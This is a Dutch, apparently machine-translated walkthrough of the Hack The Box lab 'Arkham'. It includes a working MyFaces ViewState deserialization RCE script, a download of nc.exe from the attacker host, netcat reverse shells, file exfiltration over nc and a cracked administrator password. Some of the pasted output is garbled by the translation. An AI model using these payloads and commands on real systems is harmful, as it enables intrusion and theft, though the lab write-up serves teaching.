Arkham is een behoorlijk moeilijk vak om als medium te worden gerangschikt. Het moeilijkste deel is het verkrijgen van toegang tot het systeem via een kwetsbaarheid voor deserialisatie van Java, waarbij het kwetsbare object moet worden gecodeerd om het te laten werken. Escalate-rechten zijn dan vrij eenvoudig, zoek gewoon het wachtwoord van een andere gebruiker die toegang heeft tot het gehele bestandssysteem.
Gebruiker
Voer eerst nmap
om te zien dat we een IIS
op poort 80
, een Apache
in poort 8080
en SMB
ingeschakeld.
root@kali:~/htb/arkham# nmap -sC -sV 10.10.10.130 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 07:56 EST Nmap scan report for arkham.htb (10.10.10.130) Host is up (0.041s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 8080/tcp open http Apache Tomcat 8.5.37 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Mask Inc. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 59s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-12-24T12:58:18 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.22 seconds
Als we de beschikbare aandelen met smbclient
, kunnen we de volgende zien.
root@kali:~/htb/arkham# smbclient -L //10.10.10.130 Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin BatShare Disk Master Wayne's secrets C$ Disk Default share IPC$ IPC Remote IPC Users Disk Reconnecting with SMB1 for workgroup listing. Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available
We hebben leesrechten op BatShare
en in deze share hebben we maar één bestand appserver.zip
, laten we het downloaden om te zien wat erin zit.
root@kali:~/htb/arkham# smbclient //10.10.10.130/BatShare Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 3 08:00:10 2019 .. D 0 Sun Feb 3 08:00:10 2019 appserver.zip A 4046695 Fri Feb 1 01:13:37 2019 5158399 blocks of size 4096. 2130769 blocks available smb: \>
Pak het uit om twee bestanden te vinden.
root@kali:~/htb/arkham# unzip appserver.zip Archive: appserver.zip inflating: IMPORTANT.txt inflating: backup.img
De txt
heeft het volgende bericht.
root@kali:~/htb/arkham# cat IMPORTANT.txt Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
En het andere bestand is een LUKS
gecodeerde afbeelding, wat betekent dat we een wachtwoord nodig hebben om te zien wat erin zit.
root@kali:~/htb/arkham# file backup.img backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
We gaan het wachtwoord bruut forceren, maar het gooien van de hele rockyou.txt
zou te veel kosten, dus we kunnen er een subset van maken met alleen de wachtwoorden die batman
bevatten, omdat de boxnaam batman’s stad is.
root @ kali: ~ / htb / arkham # grep batman /usr/share/wordlists/rockyou.txt> batman_rocks.txt
Voer vervolgens hashcat
en uiteindelijk zal het juiste wachtwoord batmanforever
.
# hashcat -m 14600 -a 0 backup.img /usr/share/wordlists/rockyou.txt batmanforever
Nu, met het wachtwoord kunnen we de afbeelding mounten.
root@kali:~/htb/arkham# cryptsetup luksOpen backup.img backup Enter passphrase for backup.img: batmanforever
Bevestig dat de afbeelding correct is toegewezen.
root@kali:~/htb/arkham# cryptsetup -v status backup /dev/mapper/backup is active and is in use. type: LUKS1 cipher: aes-xts-plain64 keysize: 256 bits key location: dm-crypt device: /dev/loop0 loop: /root/htb/arkham/backup.img sector size: 512 offset: 4096 sectors size: 22528 sectors mode: read/write Command successful.
Hier hebben we het script van de film Batman Begins , een paar foto’s en enkele Tomcat
configuratiebestanden.
root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8# ls -laR .: total 18 drwxr-xr-x 4 root root 1024 Dec 25 01:00 . drwxr-x---+ 3 root root 4096 May 25 06:16 .. drwx------ 2 root root 12288 Dec 25 00:59 lost+found drwxrwxr-x 4 root root 1024 Dec 25 00:23 Mask ./lost+found: total 13 drwx------ 2 root root 12288 Dec 25 00:59 . drwxr-xr-x 4 root root 1024 Dec 25 01:00 .. ./Mask: total 882 drwxrwxr-x 4 root root 1024 Dec 25 00:23 . drwxr-xr-x 4 root root 1024 Dec 25 01:00 .. drwxr-xr-x 2 root root 1024 Dec 25 00:22 docs -rw-rw-r-- 1 root root 96978 Dec 25 00:18 joker.png -rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg -rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg -rw-rw-r-- 1 root root 7586 Dec 25 00:19 robin.jpeg drwxr-xr-x 2 root root 1024 Dec 25 00:24 tomcat-stuff ./Mask/docs: total 198 drwxr-xr-x 2 root root 1024 Dec 25 00:22 . drwxrwxr-x 4 root root 1024 Dec 25 00:23 .. -rw-r--r-- 1 root root 199998 Jun 15 2017 Batman-Begins.pdf ./Mask/tomcat-stuff: total 193 drwxr-xr-x 2 root root 1024 Dec 25 00:24 . drwxrwxr-x 4 root root 1024 Dec 25 00:23 .. -rw-r--r-- 1 root root 1368 Dec 25 00:23 context.xml -rw-r--r-- 1 root root 832 Dec 25 00:24 faces-config.xml -rw-r--r-- 1 root root 1172 Dec 25 00:23 jaspic-providers.xml -rw-r--r-- 1 root root 39 Dec 25 00:24 MANIFEST.MF -rw-r--r-- 1 root root 7678 Dec 25 00:23 server.xml -rw-r--r-- 1 root root 2208 Dec 25 00:23 tomcat-users.xml -rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml -rw-r--r-- 1 root root 3498 Dec 25 00:24 web.xml.bak
Wat hier interessant is, is de volgende configuratie in web.xml.bak
die we later nodig zullen hebben.
root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8/Mask/tomcat-stuff# cat web.xml.bak ... <context-param> <description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>server</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name> <param-value>HmacSHA1</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.MAC_SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value> </context-param> ...
Als we dit hebben, kunnen we nu doorgaan naar een andere service.
In poort 80
was een IIS
actief en als we binnenkomen, zouden we moeten zien dat er alleen de standaardfoto is, dus niets interessants.
Aan de andere kant lijken we op de Tomcat
server op poort 8080
een geconfigureerde website te hebben.
Als we op de link Abonnement bovenaan klikken, worden we doorgestuurd naar /userSubscribe.faces
met het volgende formulier.
Op het formulier staat dit verborgen invoerveld.
<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=" />
Dit ViewState
kenmerk is een mechanisme dat MyFaces
gebruikt om de huidige status van de weergave op te slaan. Deze status is een serieel object in Java, wat betekent dat we waarschijnlijk een deserialisatie-aanval in Java moeten uitvoeren.
In de MyFaces documentatie staat alle informatie om te leren hoe deze objecten worden gecodeerd en dus hoe ze moeten worden gedecodeerd.
Ervan uitgaande dat deze server de configuratie gebruikt die we in het vorige bestand hebben gevonden en op basis van de standaardwaarden die in de documentatie worden beschreven, weten we het volgende:
- STATE_SAVING_METHOD: server
- GEHEIM: SnNGOTg3Ni0 =
- MAC_ALGORITHM: HmacSHA1
- ENCRYPTION_ALGORITHM: DES (standaard)
- PADDING : PKCS5 (standaard)
Omdat de status aan de serverzijde wordt opgeslagen, is de waarde van de ViewState
een geserialiseerd Java-object dat een bepaalde status identificeert.
In ons geval zijn dit de stappen die we moeten volgen om de ViewState
te decoderen:
- URL decodeert de
ViewState
waarde (omdat ik hem uit burp heb gehaald). - Base64 decodeert de
ViewState
waarde. - Base64 decodeert het geheim.
- DES decodeert de gedecodeerde
ViewState
waarde met het gedecodeerde geheim.
Ik gebruikte het volgende python
script om de decoderingsstappen te reproduceren.
import urllib import sys import base64 from Crypto.Cipher import DES secret = base64.b64decode("SnNGOTg3Ni0=") obj = DES.new(secret, DES.MODE_ECB) payload = sys.argv[1] payload = urllib.unquote(payload) payload = base64.b64decode(payload) payload += (8 - len(payload) % 8) * 'X' # must be a multiple of 8 in length payload = obj.decrypt(payload) print payload
Inderdaad, op de gedecodeerde waarde kunnen we zien dat onze ViewState
een serieel object uit Java is.
root@kali:~/htb/arkham# python decrypt.py wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays%3D ��ur[Ljava.lang.Object;��X�s)lxpt6pt/userSubscribe.jsp��Z�ߴ�9�l�1�/�i���@�3�
Wat we nu moeten doen, is een kwaadaardig serieel java-object maken om opdrachten op het systeem uit te voeren, waarbij de ViewState
waarde op het POST-verzoek wordt vervangen. Voor deze taak heb ik ysoserial
gebruikt.
ysoserial
stelt ons in staat om java-geserialiseerde objecten te maken door een payload-type en de opdracht die we willen uitvoeren te selecteren.
root @ kali: / opt # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "ping 10.10.16.70" | base64 -w 0 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB ++ j / a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB AB5zcQB + + + ABZ1cQB ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB + AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAD3BpbmcgMTAuMTAuMTYuM3QABGV4ZWN1cQB AB4AAAABcQB + + + ACNzcQB ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5Tgi wIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
Helaas werkt het niet als we deze waarde rechtstreeks verzenden, omdat deze moet worden gecodeerd zoals we eerder hebben gezien.
Dit zijn de stappen die we moeten volgen om onze payload te coderen en te ondertekenen om het in ons geval correct te laten werken.
- Base64 decodeert het geheim.
- Creëer de
ysoserial
payload. - Versleutel de lading met het gedecodeerde geheim met behulp van
DES
enPKCS5
padding. - Maak een
HmacSHA1
handtekening van de gecodeerde waarde en het geheim. - Voeg de handtekening toe aan de gecodeerde lading.
- Base64 codeert de payload.
- URL codeert de payload.
- Sturen.
Omdat ik niet wist welk type payload zou werken, probeerde ik ze allemaal om te zien welke werd geaccepteerd.
Om het proces te automatiseren heb ik het volgende python
script gemaakt waarin ik een payload maak die een ping
tegen mijn machine zou moeten uitvoeren.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"] for type in types: try: cmd = 'ping 10.10.16.50' ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers) except: continue
Als we tcpdump
terwijl het script wordt uitgevoerd, zien we dat er een paar pings zijn verzonden, wat betekent dat we RCE hebben!
root@kali:~/htb# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 07:12:52.153901 IP arkham.htb > kali: ICMP echo request, id 1, seq 1, length 40 07:12:52.153923 IP kali > arkham.htb: ICMP echo reply, id 1, seq 1, length 40 07:12:53.036515 IP arkham.htb > kali: ICMP echo request, id 1, seq 2, length 40 07:12:53.036539 IP kali > arkham.htb: ICMP echo reply, id 1, seq 2, length 40 07:12:53.127305 IP arkham.htb > kali: ICMP echo request, id 1, seq 3, length 40 07:12:53.127328 IP kali > arkham.htb: ICMP echo reply, id 1, seq 3, length 40
Om te zien welke payload-typen werken, kunnen we de opdracht wijzigen om een curl
te voeren met als pad de naam van de payload-type, zoals deze.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"] for type in types: try: cmd = 'curl http://10.10.16.70/' + type ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers) except: continue
En met behulp van de SimpleHTTPServer
module zien we dat alleen CommonsCollections5
en CommonsCollections6
werkten.
root@kali:~/htb/arkham# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found 10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections5 HTTP/1.1" 404 - 10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found 10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections6 HTTP/1.1" 404 - 10.10.10.130 - - [26/May/2019 17:48:34] code 404, message File not found
Wijzig nu het script een beetje om de gewenste opdracht uit te voeren en gebruik CommonsCollections6
payload-type CommonsCollections6
, waarvan we weten dat het werkt.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac import sys url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] cmd = sys.argv[1] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers)
Vervolgens, om een shell op het systeem te krijgen, heb ik nc
van mijn machine gedownload en gebruikt om een reverse shell uit te voeren.
root@kali:~/htb/arkham# python htb-gotham-rce.py "powershell -command \\\"Invoke-WebRequest -Uri http://10.10.16.70/nc.exe -outfile \\programdata\\nc.exe\\\""
En we zouden een shell als alfred
moeten krijgen als we naar de opgegeven poort luisterden.
root@kali:/opt# nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 49689 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\tomcat\apache-tomcat-8.5.37\bin>whoami whoami arkham\alfred
We hebben de gebruikersvlag op het bureaublad van Alfred.
c:\Users\Alfred\Desktop>type user.txt type user.txt ba6*****071
Privilege escalatie
Op Alfred-downloads hebben we een back-upmap met een zip
.
C:\Users\Alfred\Downloads\backups>dir dir Volume in drive C has no label. Volume Serial Number is FA90-3873 Directory of C:\Users\Alfred\Downloads\backups 02/03/2019 08:41 AM <DIR> . 02/03/2019 08:41 AM <DIR> .. 02/03/2019 08:41 AM 124,257 backup.zip 1 File(s) 124,257 bytes 2 Dir(s) 7,414,816,768 bytes free
Met behulp van nc
we dit bestand naar onze machine sturen om het uit te pakken en te zien wat erin zit.
C:\Users\Alfred\Downloads\backups>C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip
root@kali:~/htb/arkham# nc -nlvp 6868 > backup.zip listening on [any] 6868 ... connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50024
Daar hebben we een .ost
bestand.
root@kali:~/htb/arkham# unzip backup.zip Archive: backup.zip inflating: alfred@arkham.local.ost
Dat is een Outlook e-mailmap.
root@kali:~/htb/arkham# file alfred@arkham.local.ost alfred@arkham.local.ost: Microsoft Outlook email folder
We kunnen de e-mails ophalen met readpst
.
root@kali:~/htb/arkham# readpst alfred@arkham.local.ost Opening PST file and indexes... Processing Folder "Deleted Items" Processing Folder "Inbox" Processing Folder "Outbox" Processing Folder "Sent Items" Processing Folder "Calendar" Processing Folder "Contacts" "Inbox" - 0 items done, 7 items skipped. Processing Folder "Conversation Action Settings" Processing Folder "Drafts" Processing Folder "Journal" Processing Folder "Junk E-Mail" Processing Folder "Notes" Processing Folder "Tasks" Processing Folder "Sync Issues" Processing Folder "RSS Feeds" Processing Folder "Quick Step Settings" "alfred@arkham.local.ost" - 15 items done, 0 items skipped. "Calendar" - 0 items done, 3 items skipped. Processing Folder "Conflicts" Processing Folder "Local Failures" Processing Folder "Server Failures" "Sync Issues" - 3 items done, 0 items skipped. "Drafts" - 1 items done, 0 items skipped.
In de map Concepten hebben we de volgende e-mail met een bijgevoegde afbeelding.
root@kali:~/htb/arkham# cat Drafts.mbox From "MAILER-DAEMON" Thu Jan 1 00:00:00 1970 From: <MAILER-DAEMON> Subject: To: batman MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--boundary-LibPST-iamunique-897628897_-_-" ... </o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in'><div class=WordSection1><p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal><span style='mso-no-proof:yes'><img width=677 height=343 id="Picture_x0020_1" src="cid:image001.png@01D4BB4A.F5061EA0"></span><o:p></o:p></p></div></body></html> ----boundary-LibPST-iamunique-897628897_-_- Content-Type: image/png Content-Transfer-Encoding: base64 Content-ID: <image001.png@01D4BB4A.F5061EA0> Content-Disposition: attachment; filename*=utf-8''image001.png; filename="image001.png" iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t 3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L IEbn7v2tb/2+dfa3/5w797qPfuyOhS8CBAgQIEDgWAtcV/T7u7994VjP0eQIECBAYIcF/vKPz97x ...
Decodeer de base64-waarde om de afbeelding te krijgen.
root@kali:~/htb/arkham# echo iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIA... | base64 -d > image001.png
Op de foto hebben we het wachtwoord van Batman ( Zx^#QZX+T!123
).
En als we de informatie van batman controleren, zien we dat hij deel uitmaakt van de lokale groep Administrators.
C:\Users>net user batman net user batman User name Batman Full Name Comment User's comment Country/region code 001 (United States) Account active Yes Account expires Never Password last set 2/3/2019 9:25:50 AM Password expires Never Password changeable 2/3/2019 9:25:50 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/28/2019 1:52:48 AM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use *Users Global Group memberships *None
Schakel over naar een PowerShell-shell.
C:\Users>powershell powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Users>
En voer nc
als batman om nog een omgekeerde shell te maken.
PS C:\Users> $password = "Zx^#QZX+T!123" | ConvertTo-SecureString -AsPlainText -Force PS C:\Users> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList "Batman",$password PS C:\Users> Invoke-Command -ScriptBlock {C:\programdata\nc.exe 10.10.16.70 6767 -e cmd.exe} -Credential $cred -computername localhost
We krijgen een nieuwe shell als batman. Maar we hebben nog steeds geen toegang tot de map Administrator.
root@kali:~/htb/arkham# nc -nlvp 6767 listening on [any] 6767 ... connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 50106 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Users\Batman\Documents>whoami whoami arkham\batman C:\Users>cd Administrator cd Administrator Access is denied.
Maar zoals we op de afbeelding hebben gezien, kunnen we shares plaatsen, dus gaan we het C$
-volume in G:
.
C:\Users>net use G: \\10.10.10.130\C$ net use G: \\10.10.10.130\C$ The command completed successfully.
Ga nu naar G:
waar we het hele bestandssysteem hebben.
C:\Users>G: G: G:\>dir dir Volume in drive G has no label. Volume Serial Number is FA90-3873 Directory of G:\ 02/03/2019 06:30 PM <DIR> inetpub 09/15/2018 12:49 PM <DIR> PerfLogs 02/03/2019 09:29 AM <DIR> Program Files 09/15/2018 02:36 PM <DIR> Program Files (x86) 02/01/2019 09:56 AM <DIR> tomcat 02/03/2019 06:54 PM <DIR> Users 02/03/2019 06:09 PM <DIR> Windows 0 File(s) 0 bytes 7 Dir(s) 7,410,044,928 bytes free
Nu kunnen we toegang krijgen tot de map Administrator en de vlag van root lezen.
G:\Users\Administrator\Desktop>type root.txt type root.txt 636*****fdb
Een andere manier is, in plaats van het hele bestandssysteem te mounten, kunnen we eenvoudig root’s flag typen.
C:\Users>type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt 636*****fdb
Gebruikte referentie : https://hipotermia.pw/htb/arkham
gebruikte bestanden : https://github.com/puckiestyle/python/blob/master/htb-arkham-rce.py
Auteur : Puckiestyle